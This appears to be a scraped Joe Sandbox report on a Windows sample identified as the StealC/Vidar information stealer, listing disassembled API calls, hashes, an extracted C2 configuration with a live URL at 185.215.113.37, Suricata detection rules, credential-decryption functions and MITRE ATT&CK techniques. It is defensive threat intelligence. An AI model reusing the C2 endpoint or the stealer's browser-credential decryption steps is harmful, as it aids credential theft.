Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: e2855407cfb616572fe3950f56b26695f36e7936cf88ae54c21913fc2ec8af10
Instruction ID: e56e9ca2f113fd0cab5e702441e46c230f1a565c7e34583363cc3f50ef997a71
Opcode Fuzzy Hash: e2855407cfb616572fe3950f56b26695f36e7936cf88ae54c21913fc2ec8af10
Instruction Fuzzy Hash: AB313975A40208AFDB24DBE0DD58BEDB7B8EB44704F104459E507AB188DB78AA89CB51

Function 01017980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,01020E00,00000000,?), ref: 010179B0
RtlAllocateHeap.NTDLL(00000000), ref: 010179B7
GetLocalTime.KERNEL32(?,?,?,?,?,01020E00,00000000,?), ref: 010179C4
wsprintfA.USER32 ref: 010179F3

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 275ddb44922dc98fd834d95e80e9b887b986ea5addd27c62808f293c08ddd9c6
Instruction ID: b86148425e3e98c99c0206352b1f723a01599148b88b7e4a81a5e1ad0176d796
Opcode Fuzzy Hash: 275ddb44922dc98fd834d95e80e9b887b986ea5addd27c62808f293c08ddd9c6
Instruction Fuzzy Hash: EC113CB2944118ABDB14DFC9E949BBEB7F8FB4CB11F00421AF606A2284D3795940CBB0

Function 010192E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(01013AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,01013AEE,?), ref: 010192FC
GetFileSizeEx.KERNEL32(000000FF,01013AEE), ref: 01019319
CloseHandle.KERNEL32(000000FF), ref: 01019327

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: e5b3340aa195a55045f5bc8507a3767110e9dc443ed6141577896a3e9fff2beb
Instruction ID: e06e9dcce608b4a4f0eda0e60641af7010201b4a40a2ff762fb28660dd9dff1d
Opcode Fuzzy Hash: e5b3340aa195a55045f5bc8507a3767110e9dc443ed6141577896a3e9fff2beb
Instruction Fuzzy Hash: 52F04439E40204BBDB24DFB4EC59F9E77F9AB48710F10C154B552A72C4D67496018B40

Function 0101C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0101C74E

Part of subcall function 0101BF9F: __amsg_exit.LIBCMT ref: 0101BFAF

__getptd.LIBCMT ref: 0101C765
__amsg_exit.LIBCMT ref: 0101C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0101C797

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 1ab3dba2439071e73d138ae1f32ea3aa70c77b57e53edd80e7ed969c9cd28d47
Instruction ID: da97d48406935c5f202cd96f7571c4fb1c602a5a7e344db3ad0f155758b93d69
Opcode Fuzzy Hash: 1ab3dba2439071e73d138ae1f32ea3aa70c77b57e53edd80e7ed969c9cd28d47
Instruction Fuzzy Hash: 00F0CD32A806129BE731BBB8550578D33A07F10724F20414CE0C4AB1C8CBAC98408B45

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.phpser	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php3	URL Reputation: Label: malware

Source: 0.2.file.exe.1000000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.1000000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01009B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_01009B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100C820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_0100C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01007240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_01007240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01009AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_01009AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01018EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_01018EA0

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AEGHJKJKKJDHIDHJKJDB

C:\ProgramData\ECAKECAEGDHIECBGHIIIIEGHDG

C:\ProgramData\ECGDBAEHIJKKFHIEGCBGCAFIJJ

C:\ProgramData\EGIIJDHC

C:\ProgramData\HCAAEBKEGHJKEBFHJDBF

C:\ProgramData\HDGCFHIDAKECFHIEBFCGIJDBKJ

C:\ProgramData\HIIIDAKK

C:\ProgramData\JJKFBAKFBGDHIEBGDAKF

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
file.exe

